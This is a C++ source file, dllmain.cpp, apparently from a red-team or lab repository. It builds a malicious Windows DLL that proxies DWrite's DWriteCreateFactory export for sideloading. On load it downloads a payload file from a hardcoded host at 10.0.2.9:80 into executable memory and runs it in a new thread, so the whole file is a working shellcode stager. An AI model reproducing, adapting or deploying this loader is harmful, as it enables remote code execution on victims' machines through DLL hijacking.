Files
srothlisberger6361 f89cd37ac2 Create dllmain.cpp
2024-01-27 13:43:01 -06:00

195 lines
5.6 KiB
C++

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include "ios"
#include "fstream"
#include <iostream>
char ip[] = "10.0.2.9";
char port[] = "80";
char resource[] = "iloveblogs.bin";
#pragma once
#pragma comment(lib, "ntdll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#pragma comment(linker,"/export:DWriteCreateFactory=C:\\Windows\\System32\\DWrite.DWriteCreateFactory,@1")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
EXTERN_C NTSTATUS NtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout
);
void getShellcode_Run(char* host, char* port, char* resource) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr!= NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return;
}
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
printf("[+] Received %d Bytes\n", iResult);
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof recvbuf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
VirtualProtectEx(processHandle, remoteBuffer,sizeof recvbuf, 0x01, NULL);
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0x00000004, NULL);
Sleep(1000);
VirtualProtectEx(processHandle, remoteBuffer, sizeof recvbuf, PROCESS_ALL_ACCESS, NULL);
ResumeThread(remoteThread);
WriteProcessMemory(processHandle, remoteBuffer, recvbuf, sizeof recvbuf, NULL);
CloseHandle(processHandle);
//HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
//PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof recvbuf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
//WriteProcessMemory(processHandle, remoteBuffer, recvbuf, sizeof recvbuf, NULL);
//HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
//CloseHandle(processHandle);
} while (iResult > 0);
////////////////////
// cleanup
closesocket(ConnectSocket);
WSACleanup();
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
getShellcode_Run(ip,port,resource);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}